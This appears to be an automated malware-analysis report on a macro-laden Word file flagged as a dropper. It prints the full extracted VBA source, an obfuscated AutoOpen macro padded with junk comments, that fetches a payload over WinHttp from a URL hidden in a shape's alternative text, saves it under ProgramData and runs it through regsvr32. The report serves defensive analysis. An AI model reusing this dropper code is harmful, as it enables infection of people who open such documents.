MALICIOUS
170
Risk Score
Heuristics 6
-
ClamAV: Doc.Dropper.Generic-9823847-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Generic-9823847-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set fbYXH = CreateObject("WinHttp.WinHttpRequest.5.1") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 11440 bytes |
SHA-256: 4be8dd94220da06af1aec7b2924b98a63169b8db794b5ecef2df63a160d13a34 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "sLtTJ"
Sub orkgT(eyuXu, Optional ByVal iERgM As String = "c:\programdata\BKpEP.pdf")
' Smallmindedness them sec libraries
' Urbanisation slam under senile
' Ruling parsley
' Unicycles unquestioning endurance gladdening ergonomic extradite
' Steps tawdry
' Softwood prankster shouted stencil
' Extrapolated orchestra amman teen
' Hash autographs vaccinating
' Wives airings possessors
' Carbonic sandman scaffold afloat reiterating sipper
' Adze newsy insupportable
' Umpteenth tales radius
' Murkiest demur undiscriminating
' Unrepeated junket talented defended
' Glumly amplifier
' Overate shipload tigress unpleasantly
' Cairns squabbling
' Predict postulation needing invincible
' Pit silts nursemaids
' Myelin
' Duel waggle chieftains negotiating carboniferous
' Considerations deform harvester
' Nerve
' Slicks uncovers
' Renowned electable
' Profitably
' Proponents
' Grossness heavy level
' Amine embodiment merits heresies
' Calves discoveries paedophiles roar
' Zombies boggled
' Approximates lit sterilising hummocky
' Hood opposite skydives clock driest firkin
' Overdoing cage grecian
' Goading laptops
' Deuterium seasoner
' Stings dials stargazing prairie
' Cooking dolman push
' Centrifuges sticker fistula kilted
' Accuses irredeemably
nchOD = iERgM
Open nchOD For Output As #1
' Jamaica denied
' Discipline anvil trapping
' Wineglass decorum detains
' Allied neurosis curable classmates
' Squashes untagged noisiness changer
' Froths preconditions pelvic endogenously cobble
' Swarms recovery planes bashes unbars
Print #1, eyuXu
' Pollsters misinformed anticipations vikings
' Jukeboxes bootless totems duress trespasses whipcord
' Instills stewardship fidgets
' Dangles vibrantly pollens ember
' Tatters hospitable temporary
' Jived reading advise brawled homosexuals criticises chump
' Sturgeons imprisonments
Close #1
End Sub
' Estuary plastics underwriting republicanism vinyls malign
' Slumped ailing unstressed
' Irrupted hasty cartels rigid artless generator
' Capitalises flowered county merry waggons
' Deduced lacerated succeeded peat
' Blah critics monophonic relaxes sinner
Sub AutoOpen()
' Surrogates
' Frangipani cherubic acquaintance laggards
' Tramlines flubbed polyps bunny
' Clowns feeders howled controllable
' Glazing brogues convectional neurologists
' Bilabial unspeakable erosional remiss hermit
' Steroid hussies gemstones booted
' Couloir chargeable trim
' Retaliatory typecast elided groundsman
' Encourager unseasonal torrential lending
' Beachhead lithographs liquids gamma
' Informed providence
' Footlights sociocultural sensibility insides awards regaling
' Till pushed scooping belatedly
' Commenced workhouse
' Chapping gentlemen shoddiness fjords toughies
' Tickled ventilate
' Misdirected tricks speller candles summoned
' Undone bookers conquest
' Flows pulls pallid cooker
' Piety
' Practicality escarpment uncontaminated
' Hostler dolmen pictures
' Fastness rattler stones geysers softboiled
' Input stagnating snakepit crayon entertains
' Cain inquisitorial
' Equilibrium constitutional surprisingly uploaded
' Repayable earwax exacting absently volga
' Mocking scabbards
' Childlike pilgrimage reshaped internalising
Dim Zdykd As New NsrjS
' Jackdaws skydiving pecuniary swinging
' Metal bald rhythmically
' Crawlers harrier
' Mainly
' Homunculus relentlessness tourers unmoved rediscussed
eyuXu = Zdykd.CuSPC()
' Were polytechnics seconder
' Strikingly sitcom gaining distributional
' Balloonist unpainted
' Harmoniously taunter conjunctive earner greedier
orkgT iHjYo(eyuXu)
' Played jingoistic unnaturally normalcy hushed impunity
' Tree relegation beached caper impersonation modicum sawdust
' Conkers scrapbook amplitudes
' Ready
' Layabouts incomprehension
' Adversities sidestepped summable
' Alveoli coexisted
' Derivation soil
' Iterates admired brokered shrivels
' Trot unallocated edification
' Subsistence broadleaved parallelograms surreys malformations pugnacity masquerading clearance
' Kinks rearranging contraction appellate
' Dignified glaciations greenwich
' Fiendishly quince overuses
xxKxi KqXKD(0) + "r32 c:\programdata\BKpEP.pdf", ""
End Sub
Function IqHGQ(XoCdC, ndtWk)
' Paralysing murmurs applies
' Language alleviations booing aquamarine disastrously bather rinks
' Curtsey ripples disaffiliation collar dextrous poured
' Logistically
' Literatures years discovered valuables annal
IqHGQ = Split(XoCdC, ndtWk)
End Function
Attribute VB_Name = "jKIdh"
' Leftward mists rodents nameplate
' Molar energetics
' Negatively motel rostrum
' Optimistic pinches
' Central magnetite piqued sureness
' Debtors susceptible
' Fence defunct ingot filmmakers candy racy
' Smarten overstepped pillows
Function iHjYo(AoePW)
' Chapels blackberry consisting cheetahs
' Dissidence simplistically depleting transgress
' Amoebic scruffy million piecemeal
' Voters secondly acrimony
' Reheat heartbreak frigidly shirtless proposer prodigality
' Placidly mongoose
iHjYo = StrConv(AoePW, vbUnicode)
' Infinitive
' Obliged authoring belittling pierces bungalows
' Guiding heartache
' Givings
' Zippers jutted pickled
' Snobbish victuals wires libeller
End Function
' Happily juice
' Toiletry premeditation reclaims tale
' Effigy root optics
' Pluperfect agings
' Attenuated sin adverse aces inconclusively diagnosing testimonial
Function DjafF()
' Misunderstandings to
' Vividness ensemble id snuffle tracheal sponsored
' Productivity abrogations prostrates
' Exercising lemon
' Electors monogamous swathed uncontainable
' Walkietalkie cockshies
' Periphrastic seattle hope wizard
' Pastors
' Sociocultural varies incongruities
' Endorphins taller tufts
' Tests calling bleeders froward
DjafF = ActiveDocument.shapes(1).AlternativeText
End Function
' Seaport revelation bookshelf cobbles
' Contralto
' Handwriting
' Obscurer
' Grossest ventilation metrical serrate rumbles
Function KqXKD(ZalrI)
' Northerner watching crossreferencing
' Afar afoot battlefields supercomputing refinance
' Dyestuff caught acrylics
' Hubris treatise retired splashes boyfriend
' Distributional ridged despise
' Encroachment usages
' Silks illuminate proposes
' Shamelessness
' Congratulates pastoralism
' Bridleway pennames corinth paralyse magma diffuses terming
pxyFk = DjafF()
cmxET = IqHGQ(pxyFk, "kristi")
UwYPO = cmxET(ZalrI)
KqXKD = UwYPO
End Function
Attribute VB_Name = "NsrjS"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Bludgeons educationally longevity
' Gormless decrementing sic lobbying modulator illuminating
' Procreatory
' Flashy herbaceous remap
' Stringency microorganism
' Earls perpetuates mantle imitating rabble
Function CuSPC()
' Nominations rhea enthusiastic
' Protectionist easels distanced sympathies lanes unpronounced
' Wellfounded dielectric tomahawk cadaver chiefly
' Colleague excellency verses
Dim fbYXH As Object
' Revocation
' Measures lunging cannabis
' Painless dogooders
' Diaper basilisks
' Refraction meander lamplight
Set fbYXH = CreateObject("WinHttp.WinHttpRequest.5.1")
' Aunt sidestepped frock eritrea
' Sobers finer emptied stoops republicanism gravities harms
' Umbrellas inviting socialite toys reposed messed
' Tempts evoking
' Scaremonger isomer drays lobsters
' Holiest entombment contravene
' Atoning depended colleagues mileage
' Sediment blends undertook floppier
' Homogeneity specifies aden
' Doomed modelled
' Injudicious presumptive resting lightheartedness innumerable mothering
' Wellliked
' Yelps herrings sot virgil gulfs advises
' Electrolysed mightiest sneakiest pillaging strived
' Decimate hails reconfigurable
' Rivets apprised triumphing commission supermarkets
' Thought cuba
' Perky colonnades divorces bullies
' Abortionists gravitating coarsest pop parfaits
' Tumbles screamed struggling superpose bubblegum
' Erotically polarisation snake superconductivity
' Eschewed waggish simpleton semidetached
' Croqueted
' Bigots occupational
' Bornagain huts
' Beau frontline fornicate baronage overspending
' Alcoholic mocked unknown
' Cartographic secant remittal trident sinks
' Cantered inoperable
OULFy = KqXKD(1)
' Ganged trampolining
' Parades bruiser liturgical
' Coffins ultra
' Commonness sweatier toothpaste outlandish blase skill lateralisation
' Usurers metropolis initialled collie
fbYXH.Open "GET", OULFy, False
' Pedestrianised proposals disarmingly resentfully optics
' Never tourniquet sloughed headsets delinquents
' Instinctive exemplar decommission deprecated
' Lavender
' Diagnostically freckled meld
fbYXH.Send
' Befriending mobilises imitate
' Idlers gorillas
' Stagehands benign reconsulting
' Shallower titbits
' Completes evolve
' Initiation ravine makeshift inference
' Retesting committed caller tallyho umbilical
' Recuperated virago suiting
CuSPC = fbYXH.responsebody
End Function
Attribute VB_Name = "hNjUa"
Sub xxKxi(DnAaO, nJBPy)
' Earphone thresh cousins lepton evanescent
' Fleeter evaluators toilet gramophones gallows
' Theorems abstracts speculators
' Tablet believing pederasts
' Ole quieting wonderfully wading overemphasise linoleum orienting
' Perishables
' Entrants crate
' Tau expansible squeamish
' Stegosaurus bouffant solution cogitative mowed coppices denotational
' Swimwear ordnance imbibing
Set XzEsa = CreateObject(nJBPy + KqXKD(2) + "ll").exec(DnAaO)
' Haberdasher anthropometric misplacement proximo
' Burgles
' Sicily reassertion taxonomical resourceful redefines chubbiness
' Basreliefs citizens eunuch cages
' Myopically psychopath standpoint agitprop eyelets
' Lemonade contemporary afloat
' Keenly moscow neverending cried
' Exempts
' Diplomatic transcript chapters trawling overgeneralising
' Store ultimate lustre
' Passions skates followable bathurst
' Republication holy hedgehogs expostulate objectionableness
' Baffled robust europe vested
' Herbs yuppie bonniest
' Selfevident simplexes
' Disingenuously
' Peasant prosecutors conjoined domestically
' Popped ugliness deifies roadworthy
' Malevolent attach representation
' Dune firebombs adequately viscous
' Dreading poised
' Spacemen strength cup grade
' Mansions reintroduce mosaics swooping
' Stockholders heifers
' Laws lust calibrated roach
' Renderings contrive recoverable quantity flagrantly
' Community particular mothered
' Machineguns streptomycin carcinogenesis teaparty interstitial
' Causation decoded bullfight pristine mosque
' Abominable meringues seeding nursing
' Springing
' Eiderdown reckons littering
' Misspelt gardening comely geniality
' Ignoble complaints busied hoarsely
' Rustic
' Boxtops consular
' Perceptible spooling document
' Incremental epigraph deportees
' Chillingly accentuated
' Monks greece warhead vesting
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 43520 bytes |
SHA-256: 735a37f286bf4d26bba8fd533ec1f8a94b9fd5af09dc40c54d7690d3112fac77 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.